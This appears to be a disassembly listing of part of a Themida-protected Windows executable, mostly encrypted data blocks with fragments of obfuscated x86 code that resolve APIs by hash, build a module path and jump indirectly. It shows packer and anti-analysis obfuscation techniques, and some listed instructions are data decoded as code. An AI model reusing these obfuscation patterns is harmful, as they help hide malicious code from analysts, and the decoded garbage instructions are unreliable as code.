2101E9C6h, 38h, 55C524F5h, 0F2BFE261h dd 0F7C31086h, 0F23B5EE5h, 0F1C21086h, 982F9E19h, 0E576B119h dd 4220ABD5h, 0B88B516Dh, 1086CC91h, 0D49F4B5Ch, 8729E8F1h dd 9D822210h, 96FFFFFFh, 6557C724h, 0CAB4327h, 0C486E0DCh dd 7B3CDC93h, 32D8CDC9h, 2673A60Ah, 2AB968A8h, 0CD000000h dd 7BE3624Fh, 0AC153E96h, 2E684710h, 40FFB951h, 0F44F2C10h dd 1086F2ADh, 4F3D7F50h, 55C5246Bh, 0B5725667h, 3Fh, 0DC0CABD1h dd 4F8D4FE0h, 86F2ADF4h, 3257EE10h, 0B91086F2h, 836738E8h dd 86F2F118h, 652D0A10h, 189EC8ADh, 9AFB22Fh, 3FE3E62Eh dd 6B4F2C10h, 8955C524h, 0D7FC364Ch, 9E1C4CAh, 24725611h dd 0D65D59C9h, 1086F2B3h, 606756BFh, 0BEA075E5h, 0D6CF875h dd 8BA4999Dh, 0EDD8B28Bh, 1087023Bh, 0F463DB49h, 4FAFFFFFh dd 286EDE62h, 5244B43Bh, 7BB8527Dh, 0EB2E95F6h, 301086F2h dd 86F24C95h, 0A21E2F10h, 0CFD7BE91h, 64DFFF2Fh dd 169C1FECh, 0F76A071h, 1693DFCEh, 25CD00B7h, 4E3CAC0Ch dd 0BD4ADA5Fh, 1A629Dh, 7F580000h, 0F97A9F0Fh, 0E850AE89h dd 2EBD8FF1h, 9AB5766Ch, 1B54CF0h, 0D1000000h, 3DBF0BABh dd 2DCE2CDh, 0B6E050B1h, 0CA9231D9h, 0AB169BF7h, 2B9AC49Ah dd 1693F7E6h, 58D6B485h, 6876E64Bh, 4076E64Bh, 0F5D09B4Fh dd 1693F69Ah, 0FEC0308Ch, 0F43C65E0h, 0EEBF1693h, 42C271FCh dd 9BCB0CD2h, 227732FCh, 2CF21CCEh, 894E9332h, 1C2D1693h dd 0BA8C4B6Eh, 75F7D0FFh, 40C37005h, 75D00ED0h, 1693892Ch dd 4D0CFECFh, 0D4ED5DDEh, 64634A37h, 54529F07h, 9B246DD8h dd 0F6C71693h, 76B97FE1h, 4F75C559h, 0F151DD62h, 97B89581h dd 0D1BCAE9Fh, 9728266Ch, 0D747A50Eh, 373D2DFh, 75153A13h dd 113C5h, 0EFD20300h, 1888EA0Bh, 0B316211Eh, 7CA04AF3h dd 0DDDF0FABh, 0C3248D4Fh, 806A6353h, 86F2F925h, 19250A10h dd 0F2598043h, 13241086h, 6B4FC377h, 70E0624Fh, 1EAE1F9Ah dd 6557C724h, 0CAB4327h, 0A286E0DCh, 71E1624Fh, 26BF1A99h dd 872568A8h, 1000000h, 0EC69864Fh, 18E18D48h, 58794872h dd 86FFA4EDh, 59764710h, 0A5EC5785h, 481086FFh, 4F9F9377h dd 0C281E262h, 1086F29Fh, 88624D5Eh, 0F2CA0FB6h, 0E0B11086h dd 1C4500DEh, 7D1086F3h, 86F383C6h, 0E7596A10h, 4F0034D6h dd 9A70E062h, 2DBD9AC4h, 5D498009h, 24967E6Ch, 47B739C5h dd 8D517E4Fh, 5F57C724h, 387EEE52h, 9A826847h, 0FBCA9456h dd 1086F2D6h, 0F2499033h, 63341086h, 16FEECBDh, 2CB5h dd 0CABD100h, 624FE0DCh, 0C49A70E0h, 0D801C49Ah, 0A31086F2h dd 84CDF892h, 0F51086F2h, 6B4FE4D8h, 8955C524h, 5E58C828h dd 56918961h, 0FED5B572h, 0E2F3FFFFh, 7654F44h, 48EC9E04h dd 5F57C724h, 40F7587Dh, 2FBD96F6h, 0FD6DCE3Bh, 7FFD3618h dd 0FA62A71Eh, 38091086h, 3C2E1F17h, 6C72A256h, 0D354E047h dd 755A3363h, 0CC04BF95h, 91169BF3h, 0EE2F9680h, 971693E3h dd 0EC45AD20h, 18F52191h, 0E35A7F46h, 10211693h, 2EAE3B7Ah dd 8E509DBDh, 93EB92B7h, 0A2485916h, 3D82h, 0BAB9600h dd 0F04003DBh, 2B169BF5h, 503E2431h, 0C2785BBFh, 93B73E63h dd 0FEECBD16h, 9A0A6D9Ah, 0B28CA39Ch, 0A3930381h, 0EF56C0AAh dd 1693B7AEh, 5CEDE057h, 9DBD5ED1h, 0BE57h, 0C7243300h dd 0CA2A8757h, 9886B05Ah, 73AC149Bh, 22FFD281h, 0E0513916h dd 0E454D662h, 9E2F3CBh, 457FB0E7h, 0E9FA34D6h, 13441A8Ah dd 0C8C77C20h, 81AB5FCCh, 0D2A31370h, 8627E2EFh, 3FAF0C10h dd 0FA6AC956h, 3E8A2EBCh, 734C4ABAh, 7BC3825Ch, 0FA169B21h dd 9A5E4C29h, 0D85F546Ah, 0B9512E68h, 20A3B9A3h, 16932AF9h dd 0ECD7B384h, 108B45A4h, 4D667849h, 8B987DEDh, 0C5E6B727h dd 0A2B1BE13h, 25F3094h, 0CF2F0000h, 869B65Fh, 0C726FD98h dd 0F71BE57h, 0C929F69Fh, 0ACDFBC59h, 542191F1h, 0DE858DFh dd 4F269616h, 22F363E0h, 0F316ADB1h, 7A169D95h, 0C62443F9h dd 1370BF56h, 4F66D2A3h, 286EDE62h, 39FDB357h, 7FFC3509h dd 5436070Fh, 0F5F74302h, 0BD86169Bh, 68E80145h, 1CF04579h dd 1E4B8733h, 0D922631h, 7636DF13h, 0CE2C8559h, 382AC5Eh dd 1693BADAh, 0EDC491A3h, 0C5CD506Ah, 4BAA6AF0h, 858BD6Ch dd 6A883762h, 3A7CEC49h, 83E6A545h, 99DBD7Eh, 0C2h, 0B68D4F1Dh dd 1086F293h, 70A1495Ah, 0A973A313h, 0F2C910B3h, 0E3B41086h dd 38A80A07h, 0F71A77FEh, 57D41086h, 0A2210EE7h, 191A0432h dd 15EA2C9Ch, 2F7B3B75h, 2B7C5BCBh, 37A7A9Ch, 8B3A042Bh dd 169BEFA3h, 0E858D5C2h, 0E0FED1AEh, 690171D3h, 0ACDC9C0Ah dd 0CC92CC92h, 93ECD0F9h, 1B8A9B16h, 1693ECF6h, 0D7C6A475h dd 108B875Ch, 0BFF4CADBh, 0F52ACB3Bh, 3D780575h, 1EB1BED0h dd 1479C18h, 0E7470000h, 30919E77h, 7FFE35C0h, 37B9660Fh dd 81012EC7h, 64278411h, 0BC59C929h, 5900067h, 0B75ECE2Eh dd 0FA9B0B68h, 1B3E05C9h, 0E2169D9Ah, 0C6241B21h, 1370BF56h dd 2B88D2A3h, 605D59C9h, 0C724928Ah, 0F1525F57h, 0F2C6F481h dd 0D1E2FCC2h, 47150171h, 86F2557Ch, 28071810h, 10CF6342h dd 614E169Ch, 7D416EDEh, 0AE47B734h, 0CC920281h, 0A5910167h dd 0E654C2A8h, 69DCE212h, 10B72073h, 0A7179B98h, 3BC2D3C3h dd 0B1BB2BFEh, 0B6EF5361h, 0D8000000h, 1807EE5Eh, 0D74C2999h dd 200FE656h, 0CE6530A0h, 8219FC6Ch, 0A4149609h, 6DDD62D1h dd 0A9199B88h, 64D457CCh, 0AD184691h, 169D9A64h, 0ABB68607h dd 4003DB0Bh, 16A23E4Eh, 0CD14AFADh, 23169DBEh, 15EA2C9Ch dd 0D0F09AABh, 49AAB7FFh, 84E73CD9h, 0D8A32214h, 4778E2C0h dd 59DAEDE0h, 94170CE9h, 3E67EF2Ch, 4D62DB3Bh, 6B528349h dd 0D7E492CDh, 1C9C8D7Dh, 0BF8B6AACh, 87D7E696h, 29C186EAh dd 2B883F6Eh, 31901C9Fh, 0FDC1EEC1h, 27C333B4h, 54B1024Ch dd 0A60506E4h, 391E0036h, 14845329h, 0C9F9912Dh, 0Dh, 6F6D2FDDh dd 86F28DD4h, 0AB5F7010h, 5ACA2487h, 74E4475Ch, 63D33142h dd 49B93E33h, 66D6544Dh, 4FBF4330h, 66D65A47h, 52C24330h dd 7AEA4F64h, 0FB68783Ch, 89000070h, 0E6892434h, 4C681h dd 0EE830000h, 24348704h ; --------------------------------------------------------------------------- pop esp push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], edx push edx mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp] pop esp mov [esp], edi mov edx, 439B7EFBh inc edx neg edx push edi mov edi, 0B6493298h sub edx, edi pop edi push esp mov edi, [esp] add esp, 4 push 3286h mov [esp], ebx mov ebx, 8 add ebx, edi mov [ebx], edx pop ebx push dword ptr [esp] pop edi add esp, 4 mov edx, [esp] push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp jmp loc_581882 ; --------------------------------------------------------------------------- db 3Fh dd 6B5A1489h, 0F77A1C2Dh, 39F5CB3Fh ; --------------------------------------------------------------------------- add esi, edx loc_5E045A: ; CODE XREF: Themida_:005DE7D8j mov eax, 61B698Fh add eax, ebp push eax mov byte ptr [ebp+61509C5h], 47h push 0CF381725h push dword ptr [ebp+6151685h] lea eax, [ebp+6153B38h] call eax mov ebx, eax lea eax, [ebp+6151E95h] push eax push 104h call ebx ; _iob mov byte ptr [ebp+61509C5h], 53h push 8307F8BFh push dword ptr [ebp+6151685h] lea eax, [ebp+6153B38h] call eax mov [ebp+61B4C33h], eax cmp dword ptr [ebp+61509CDh], 0 jz loc_5E04C4 mov ebx, [ebp+6152559h] jmp loc_5E04C9 ; --------------------------------------------------------------------------- loc_5E04C4: ; CODE XREF: Themida_:005E04B3j mov ebx, 0 loc_5E04C9: ; CODE XREF: Themida_:005E04BFj push 100h lea esi, [ebp+61B4C37h] push esi push ebx call dword ptr [ebp+6151375h] lea esi, [ebp+61B4C37h] add esi, eax jmp loc_5E04EA ; --------------------------------------------------------------------------- loc_5E04E9: ; CODE XREF: Themida_:005E04F6j dec esi loc_5E04EA: ; CODE XREF: Themida_:005E04E4j cmp byte ptr [esi], 5Ch jz loc_5E04FC cmp byte ptr [esi], 2Fh jnz loc_5E04E9 loc_5E04FC: ; CODE XREF: Themida_:005E04EDj mov byte ptr [esi], 0 lea eax, [ebp+61B4C37h] push eax call dword ptr [ebp+61B4C33h] pop eax jmp eax ; --------------------------------------------------------------------------- db 58h dd 821FA82Bh, 18594DC3h, 0DF733067h, 0A41FB15Eh, 384BF9D2h dd 0ED0EA29Dh, 85061A0Ch, 50785165h, 0BE1E46F8h, 7132FA97h dd 232C18C2h, 362D37CFh, 0E15C3F4h, 3B36F415h, 375A298h dd 0F440E509h, 7D1CA396h, 0BE1FF9E8h, 9410292Eh, 0E3311F27h dd 0E92D9396h, 50h, 6885C6D3h, 0E61D8C93h, 2E81E89Dh, 6C64746Eh dd 6C642E6Ch, 1467006Ch, 8003B2BDh, 0FEB9h, 0Ch dup(0) ; --------------------------------------------------------------------------- jmp loc_5E0C47 ; --------------------------------------------------------------------------- push 61B6CC0h jmp loc_581882 ; --------------------------------------------------------------------------- push 61B6D9Bh jmp loc_581882 ; --------------------------------------------------------------------------- push 61B6E38h jmp loc_581882 ; --------------------------------------------------------------------------- push 61B6EF7h jmp loc_581882 ; --------------------------------------------------------------------------- push 61B6FCDh jmp loc_581882 ; --------------------------------------------------------------------------- push 61B70A6h jmp loc_581882 ; --------------------------------------------------------------------------- db 0EEh, 90h, 20h dd 0EB5BDE55h, 2898150Ah, 0E252D64Dh, 2E9E1C13h, 685B5047h dd 24FB9A0Ah, 6DC253C3h, 29F69F0Fh, 8BB5ACAh, 995A7F46h dd 6021169Dh, 1FB5DCh, 0BEF30000h, 0F0CDC939h, 0C724221Ah dd 0C92A8757h, 6E83B159h, 0BDF89D0Dh, 1086F290h, 1FF666C6h dd 0DB0BAB19h, 0D949AE03h, 0D0982B31h, 5D169BF2h, 0A2EB4A4Ch dd 0B41693F2h, 0D4CDC939h, 16B1E555h, 3BB309Fh, 0A584AA76h dd 2198321Dh, 0EB0E9BAEh, 39969DBDh, 72000002h, 0E69A57B2h dd 351DA8B6h, 38169BFBh, 0F88ACF76h, 84711693h, 8F80B626h dd 0D4EF8FA0h, 0D2A09098h, 0C434B6FBh, 9CCC6C26h, 407F03C2h dd 2DFEDCD8h, 73BF7FE9h, 0A59A9C0Ch, 0F87FB48Ah, 0E95CE288h dd 0C6C7D778h, 322C3203h, 8A5AEB25h, 794536BCh, 0F73587CAh dd 0B55566C6h, 0EE87F774h, 0CB52C241h, 0E779EAEAh, 0A17BF7FDh dd 0E4000004h, 0A47B1A8Ah, 0F340D545h, 0DC532292h, 1A09EC5Ch dd 4E4D2898h, 70E0625Dh, 0B9298EA5h, 75E547DCh, 0C03093A0h dd 9BCA235h, 169D9EC0h, 2452EAABh, 0D95F57C7h, 48AF0425h dd 0F2246DD8h, 0F6C71086h, 763E05D9h, 0A5169BF9h, 77BF2F8Ch dd 0E3B4E486h, 51A0AB12h, 7B617DADh, 0B26C3B5Ah, 64DF7E71h dd 16938D3Dh, 2AC0EFC0h, 8E84977Bh, 39C5D610h, 1FAB0E23h dd 66042B9Bh, 0E22E937h, 66966AA5h, 0B005ED58h, 97A8B253h dd 0F674BD9Fh, 74BF9086h, 0ADE387F7h, 3E05D909h, 0BC4226C3h dd 0A7B5899Ah, 46CB0EB5h, 0E9B2A073h, 0CE9D290Eh, 907A5583h dd 0AEB020A3h, 1B9A2685h, 0BD926BABh, 979CBECDh, 4AC7A313h dd 94BD88E9h, 57A073DCh, 99946946h, 420CF683h, 3C6D034h dd 3FBF0000h, 78F926CFh, 37B66D08h, 7F012EC7h, 39B9660Fh dd 3C6F2CC9h, 4910181h, 0BD58C82Fh, 0FF960666h, 9263D330h dd 63A61D41h, 0A169D9Fh, 0C724B389h, 25D95F57h, 6A5AE9F5h dd 0EB169BF6h, 0CB6B3BDAh, 9800C39Bh, 0E510B759h, 3D40AD4h dd 0F3A53A06h, 93806A83h, 0D747A430h, 0B7DFF6DFh, 75532CFEh dd 93A0755Ah, 64D6C030h, 7D5A6494h, 0BAAA05FBh, 0DD5F0B7Bh dd 2366DDFFh, 0CA1CB675h, 0EAB211F9h, 291AAB71h, 0FC3AAA08h dd 3B1484E7h, 0BF5E6F4Fh, 0ABA626C2h, 299B171Dh, 5C000003h dd 8CA372E2h, 4BD8BD2Dh, 849B7AEAh, 52E1B424h, 0B6F580F0h dd 0C838BAF5h, 171F62Dh, 0CD3DBF74h, 878FB28h, 0D1745A6Dh dd 169D9C88h, 244AF273h, 0D95F57C7h, 0E959D925h, 35BBF8C6h dd 0EFCD1C5h, 9B1D1648h, 0D0643F2Bh, 65169C12h, 9A03C154h dd 17000001h, 0DF9F72B2h, 2C348FAFh, 51169BFBh, 0F8ADF44Fh dd 46E71693h, 0BBCE65D4h, 456A3BE5h, 0AA830AB9h, 1CDC03D6h dd 0A70CD2ECh, 8A39D141h, 0EDCE2132h, 83A04D1h, 0AD0B077Bh dd 0E1C6F316h, 86A97A11h, 175AB4B1h, 0AE0BB49h, 27918596h dd 0AC172757h, 17F822BDh, 0E2CFEFC0h, 0F24F161h, 5A613CACh dd 89B66BF8h, 26A076Bh, 9B1B0000h, 54D54A2Bh, 0A32211E4h dd 6BCD6233h, 0A5051AFBh, 404B6035h, 987DED4Dh, 0E1B4248Bh dd 0F382F252h, 0A64FBF3Ch, 4F92311Dh, 2E169D9Ch, 0C724CF6Dh dd 25D95F57h, 5A5AE9F5h, 0DB169BF9h, 0A3822BCAh, 0C49ACA6Eh dd 0EE9C0C6Fh, 0FC75DD68h, 27F8108Eh, 5B7E4517h, 221CACE3h dd 0A0237911h, 9342CA56h, 0EBF51DE1h, 0E2F3CA8Dh, 0F97FA221h dd 2DFE8B8Dh, 40893C02h, 2B8B8DF9h, 9A29351Ah, 8D971102h dd 1EC0B4A1h, 0BADDDF65h, 0F0CDC939h, 0BA8B2BDFh, 1392B3A4h dd 3687EF39h, 0B050DA54h, 7C56D188h, 132B86Bh, 1D210E7Eh dd 0E0964D38h, 14F66AFFh, 33868342h, 0C4D5B7BFh, 0AE3AB9FAh dd 0E2DBDB4Bh, 78FB28CDh, 0E2191ECh, 0B2E7666Fh, 0F738116h dd 194h, 502595F1h, 7EE5EE3h, 482D9D18h, 10E555DBh, 462F9F23h dd 3675A51h, 0CA2D0293h, 864BB5Ah, 0C526FD98h, 4717C055h dd 9D9D557Ch, 0E5571816h, 8757C724h, 6155C52Ah, 0AEF3526Ch dd 4D1086F2h, 1AA08E7Ch, 36283666h, 0E9F6F21h, 0E981A9F8h dd 9B63CABAh, 0DBBA8B16h, 0DB0BAB4Dh, 0DD4DAE03h, 0B0E656D6h dd 9A292BDFh, 16A25DC0h, 346FDDFh, 0EA169D99h, 1B3E05D9h dd 0E2169D99h, 0B48539D1h, 0BA2A89AAh, 77E744DBh, 8BCE7567h dd 9169D99h, 0AD4308A8h, 8B9C0442h, 0D3B72788h, 0FF2FCF59h dd 366464DFh, 28F910B9h, 2E9E1D16h, 0EB5BD847h, 49793DABh dd 0D58ECE75h, 0C80D1AAAh, 348F4165h, 2CDBCEDh, 0E998BF90h dd 2A8E7C4Fh, 57E18419h, 7C7AABA0h, 0BBF8h, 0FC6CCA00h dd 37A70A19h, 474D15Eh, 0CE3EC271h, 0A7AF827h, 447F2C6Bh dd 909F76E6h, 49D6BF2Fh, 859A7BEBh, 0F4DFB626h, 82365BEAh dd 34B5169Dh, 0DB0BAB08h, 5D444003h, 81916A2h, 0AB7A2136h dd 0BC89F901h, 357E60CEh, 67A446B6h, 32019404h, 0CE3561D1h dd 793E1255h, 81013214h, 8F3E7911h, 7EEE4E63h, 0AC1C9F8Ch dd 278CC592h, 1047892Fh, 0A7041B7Ah, 381DFF37h, 0CB6D16C0h dd 0FB38D2B3h, 4E370D75h, 54C9BDD6h, 0D1383B7Bh, 228AE9DEh dd 0D8E42B45h, 1BFAD5DBh, 2737A704h, 0FB3BAB0Ah, 0E0AE6802h dd 0C564E6F7h, 2312EFAh, 4A7A1080h, 8, 5ECE3380h, 4B2F88ACh dd 5C5ACA24h, 4274E447h, 3363D331h, 4D49B93Eh, 3066D654h dd 474FBF43h, 3066D65Ah, 6452C243h, 3C7AEA4Fh, 0E0895078h dd 405h, 42D00h, 4870000h, 1C895C24h, 0E2895224h, 4C281h dd 0EA810000h, 4, 5C241487h, 53240C89h, 0C381E389h, 4 dd 4EB81h, 1C870000h, 1C895C24h, 0CABA5224h, 52061B6Bh dd 0C9243481h, 596F8979h, 79C9F181h, 835A6F89h, 248904ECh dd 24048324h, 53515B04h, 0DF1C68BBh, 245C015Fh, 438F5B04h dd 86B8108h, 5FDF1C68h, 5B2434FFh, 4C481h, 34FF0000h, 0C4815924h dd 4, 0FA0C3DE9h ; --------------------------------------------------------------------------- dec dword ptr [ebp+12h] loc_5E0C47: ; CODE XREF: Themida_:005E05B8j mov eax, 61B7186h add eax, ebp jmp eax ; --------------------------------------------------------------------------- dd 254887FCh, 2D638E23h, 34E0D113h, 7A56D446h, 38659BD0h dd 17A4D178h, 575FC160h, 67333861h, 40028B37h, 2AF0C8B6h dd 6B0942D9h, 3C9280Ch, 46465489h, 45EA9FABh, 6FA40953h dd 70791547h, 5F390CA2h, 11E8h, 1B306D00h, 4651D700h, 150AC1F6h dd 992D563Ch, 0F50BE70h, 58Fh, 0E7816600h, 595EDDEEh, 2E99F681h dd 0C1810F47h, 6293h, 186968h, 0E9605A00h, 13h, 36CBAA62h dd 0C0DE8CC6h, 0E4B718EAh, 3638C76Bh, 66E534C5h, 57C2DB81h dd 0F31FF61h, 78Eh, 86BA6000h, 612993EAh, 0C081F558h, 80BE0F8h dd 0C0E1C081h, 0BE932F3h, 1E000000h, 8A12C9BDh, 75FF9BD7h dd 0E8814C74h, 480E5569h, 0D408CF81h, 815010CFh, 8B2616F6h dd 56018F09h, 14E9h, 55D01900h, 0A64452B3h, 42B20FE6h dd 8E412593h, 5C4CA5C2h, 0E9815E33h, 4FFFB923h, 1FC181FCh dd 0FC4FFFB9h, 1EA81h, 850F0000h, 10h, 25E9FA8Ah, 69000000h dd 36AA0F6Eh, 0A5112F47h, 860Fh, 6EE90000h, 54FFFFFFh dd 75B7AF66h, 0ADBB61BCh, 14B8A1Eh, 98EE8AD3h, 27E9h, 0DE144B00h dd 54h, 8 dup(0) ; --------------------------------------------------------------------------- jmp loc_5E120C ; --------------------------------------------------------------------------- push 61B748Ch jmp loc_581882 ; --------------------------------------------------------------------------- push 61B74EEh jmp loc_581882 ; --------------------------------------------------------------------------- push 61B761Fh jmp loc_581882 ; --------------------------------------------------------------------------- db 0D0h dd 0C06F0676h, 0EF44D141h, 0A8771E8Eh, 0E63DD848h, 2A811484h dd 5CCC2E61h, 95056AB9h, 61D13300h, 0AC1C9F94h, 75D0FEC9h dd 169D812Ch, 24EE4ECFh, 536056C6h, 0C5F580F0h, 46FDC1F1h dd 169C1BBAh, 171D0E1h, 7AFB3815h, 5340600Ah, 67AF80F0h dd 93DBC10Ch, 0DC03AE16h, 0BD43006Dh, 2A5889Dh, 4FA40000h dd 9A70E062h, 0F8C82927h, 0CB4FF6C8h, 0B2169BFBh, 0F23F1DE1h dd 5D482292h, 0BF952A9h, 1B9F94CAh, 82D7FAABh, 859613FCh dd 0EA0BABE5h, 0FC82365Bh, 0DAE4B513h, 0FC82266Bh, 0DBF4C513h dd 0DD4DAE03h, 3006E4D9h, 35A5052Eh, 3F5E0C01h, 15E6789Bh dd 0D3655162h, 0F1EBF323h, 750B70E4h, 0AA407565h, 136D8AFBh dd 0E6F8C91Fh, 17FE6ECDh, 623BAB08h, 0AE471D81h, 0A2F45066h dd 0B0000002h, 200FE656h, 0CF6431A1h, 817FE6Eh, 0C65D38A8h dd 8A21F464h, 0BC2C8E01h, 75E54AD9h, 0C13193A0h, 0C7CFF34h dd 0D5705E69h, 169D868Ch, 0AB8EAE6Fh, 4003DB0Bh, 16A265B7h dd 48697546h, 6FDF5EEAh, 0FC7EB540h, 0E12B8A8Ch, 0F3169D81h dd 0EDB12890h, 9AFC031Ch, 0D8EDE8B5h, 0C8EEB7CFh, 2406Ch dd 44B41200h, 8FFF82B1h, 4CBC39E6h, 86F67AA9h, 52C240EFh dd 0ECA7E4C3h, 0A8771E8Eh, 0F13ED747h, 0DD522393h, 0BC07EE5Eh dd 86EE3392h, 0C8D169Dh, 0DB0BAB30h, 65B74003h, 0CFE416A2h dd 0AE12F868h, 0F31A999Dh, 7C169D81h, 1648AA15h, 9D816AAFh dd 0B40F1116h, 169D816Dh, 7A103F10h, 0C390AE3Bh, 161369Dh dd 24520000h, 7D5F57C7h, 0A248B834h, 0D3A21271h, 0DBE313E3h dd 0E850B001h, 647B5F52h, 76143BB2h, 9BF51347h, 0CDC9DA16h dd 93E52766h, 7669D016h, 0BD3566D3h, 2FEE9Dh, 0ABCA0000h dd 4003DB0Bh, 169BF5F0h, 947ABC8Dh, 0C1A9199Fh, 93F1BBE2h dd 41724416h, 0B753C3h, 0AB0C25CDh, 0D9644F3Bh, 5F9DBD1Ch dd 9Fh, 3BC7243Bh, 714E48B8h, 0E74B585Eh, 0D1323F77h, 0BF3C3561h dd 0BD426F4Fh, 0F2A0E95Ch, 7A4B1086h, 0DBD6B555h, 1086F790h dd 5E75A8ADh, 6AF47BD8h, 0C0309380h, 81B18535h, 9BC806BDh dd 0E0B1169Eh, 0E858D5DEh, 582A6FD6h, 0C0D11691h, 9B1F142Ah dd 0B3004A2Bh, 0FD2EDC4Ch, 6F700D7Dh, 70B7D3EFh, 10FFE86h dd 0C3430000h, 0C6DC253h, 0CB2AF99Ch, 365BA5Bh, 0CD2D0293h dd 0A8E3B85Dh, 700575F5h, 29CC3CC3h, 6B0A7AFAh, 2EC737B4h dd 0C70AB9A5h, 0A6169D84h, 0C62457E5h, 1370BF56h, 2466D2A3h dd 525F57C7h, 940465F1h, 2CCCDABBh, 6FD1E2FCh, 24C6B7FFh dd 4188B312h, 7AA7169Ch, 0BE8F87F7h, 664CD91h, 9BC2FF96h dd 0CD1693BDh, 0F7E0FE6Eh, 99A6BE07h, 0A7B9187Fh, 458F0B2Ch dd 35197416h, 0D02E2D20h, 0DD8D1A68h, 585ECE2Ch, 71EC6176h dd 994E020Fh, 7BD1F1h, 0ABE50000h, 4003DB0Bh, 16A265BBh dd 2C457142h, 69B65FCFh, 199C9A0Ah, 65572D59h, 90624DD4h dd 84B222A3h, 1FA6AC8Bh, 0CF8DD807h, 18DEE1Bh, 233B1484h dd 4B3FAF0Eh, 94151E40h, 6D1DF224h, 0EFCF3FBCh, 38D242C2h dd 2283E5FEh, 66487EA3h, 32CFD48h, 39841A3Bh, 23138301h dd 0A0640D2Ah, 22210BFFh, 0F87B4C73h, 0B536ED88h, 0AF15145h dd 0C5000000h, 6DDD624Fh, 80B65429h, 5ACA247Ch, 74E4475Ch dd 63D33142h, 49B93E33h, 66D6544Dh, 4FBF4330h, 66D65A47h dd 52C24330h, 7AEA4F64h, 8953783Ch, 4C381E3h, 83000000h dd 1C8704EBh, 24248B24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], edx push ecx mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp] pop esp mov [esp], edi push 61B73ACh mov edx, [esp] add esp, 4 push esp mov edi, [esp] add esp, 4 push 242Bh mov [esp], edx pop dword ptr [edi+8] mov edi, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp mov edx, [esp] push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp jmp loc_581882 ; --------------------------------------------------------------------------- dd 73C1712Ch ; --------------------------------------------------------------------------- loc_5E120C: ; CODE XREF: Themida_:005E0DB8j mov eax, 61B7753h add eax, ebp jmp eax ; --------------------------------------------------------------------------- db 0A1h, 4Dh, 0FCh dd 0BF433F55h, 2E63F50Bh, 0E37D8553h, 1640E851h, 0D1F90855h dd 43EEBF4Ah, 0BDB6A00Dh, 0C290897Ah, 3DD3E724h, 23840A12h dd 0B34C5B70h, 0FC711B59h, 0F8278D7Ah, 1271B14Fh, 0AC15B96Dh dd 0F08D8D2Ch, 60061B78h, 0BE58BA66h, 5F5F5656h, 218D8961h dd 31061527h, 151075B5h, 0CD85C706h, 0E4061504h, 6A000058h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1A042444h dd 47000000h, 283C357h, 0A71BE593h, 15B58997h, 0E9061517h dd 0Dh, 0D00D6B7Ah, 0CBFB1039h, 2FD59D81h, 1585C73Fh, 61511h dd 6A000000h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1B042444h, 40000000h, 3D81C350h, 4EC1D270h, 9529A7EBh dd 6150561h, 1D45B5FFh, 0BF0F0615h, 9241B8D3h, 95FF373Bh dd 61502C9h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 14h, 7CC35545h, 95FF006Ah, 6152E21h, 0BEBC08Bh, 3250C9BBh dd 895DB57Fh, 8D05669Ah, 1B79E78Dh, 51006A06h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1B04h, 0C3514100h, 0AD442F54h dd 0CCF1EF81h, 68E0F60h, 0F000000h, 8Eh, 0BE900h, 39660000h dd 0B5F9955Eh, 0A9827BB7h, 0D18B6125h, 27218D89h, 6A0615h dd 3E850h, 58200000h, 448958C3h, 44810424h, 170424h, 50400000h dd 0E46095C3h, 0CD85C772h, 54061504h, 6A00005Bh, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 17042444h, 43000000h dd 7655C353h, 8166D800h, 0C75738CBh, 15111585h, 6, 0B19D8B00h dd 0FF06152Dh, 151D45B5h, 4D9D8B06h, 0FF06152Ah, 1502C995h dd 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1404h dd 0C3564600h, 0ADB58910h, 6A061518h, 2195FF00h, 8B06152Eh dd 0B00BEBC0h, 25875D13h, 0ACF9DA0Dh, 0CE53B2EFh, 365DB162h dd 0EAEB153h, 5657A030h, 56A75832h, 0A3D3B132h, 0F20CFC24h dd 0C8CF7D23h, 56BA437Dh, 565DA0DBh, 11D9A832h, 0C5301E24h dd 8D7B0ECAh, 9A72DB8Ch, 715A9A42h, 5675B36Ah, 20B43A32h dd 560B2859h, 0D6FDD132h, 0AA0D75EAh, 59ABB153h, 56D5B6BDh dd 5768BE32h, 0AE75B132h, 5642B132h, 5ADCBE32h, 59AEB132h dd 5657B7B0h, 5624BE32h, 56D5B132h, 56FA5832h, 13ABB132h dd 0D9DFD748h, 4BA9D25Ah, 13F368EBh, 62FCB855h, 56ABB16Fh dd 620A5932h, 5FDE78C5h, 0FA8CB132h, 0D7BAEFD7h, 30381BC5h dd 56CF42B9h, 56574932h, 36360052h, 56D5A5DBh, 7C6AD32h dd 0B7F4D67Fh, 2B323CE2h, 885FD558h, 832A5FCCh, 8DEED7B2h dd 56CAD0F2h, 56DF5832h, 864B132h, 0BD4AE6EEh, 8F8C4554h dd 0DC52B132h, 56AEB136h, 37863B52h, 0D0A4B132h, 56D5B13Ah dd 56E8373Dh, 3715B132h, 5053B132h, 5C5DB132h, 0A1009907h dd 40D4BE21h, 59ABB132h, 56D5A1B8h, 56E15832h, 6A06B132h dd 0CF705E26h, 0AE8BD1E5h, 36AEB15Ah, 3736D152h, 376A0E3Dh dd 0AEB5B132h, 598AD0CBh, 56147685h, 5738BE32h db 32h, 0B1h word_5E156A dw 0A35Dh ; DATA XREF: Themida_:0057B04Co dd 0DEA1B132h, 5657B123h, 56ABBDDBh, 0B354A32h, 0D38220B4h dd 8C0B21DFh, 36BAB17Eh, 564F5864h ; --------------------------------------------------------------------------- loc_5E158C: ; CODE XREF: Themida_:005E159Ej xor dh, [ecx-3A0BA92h] jl short loc_5E160B xchg eax, ebp cld mov byte ptr [ecx+2A315BA6h], 0CCh dec ebp loope loc_5E158C imul ebx, [eax+72h], 56h xor dh, [ecx-7A1C1A08h] int 3 ; Trap to Debugger js 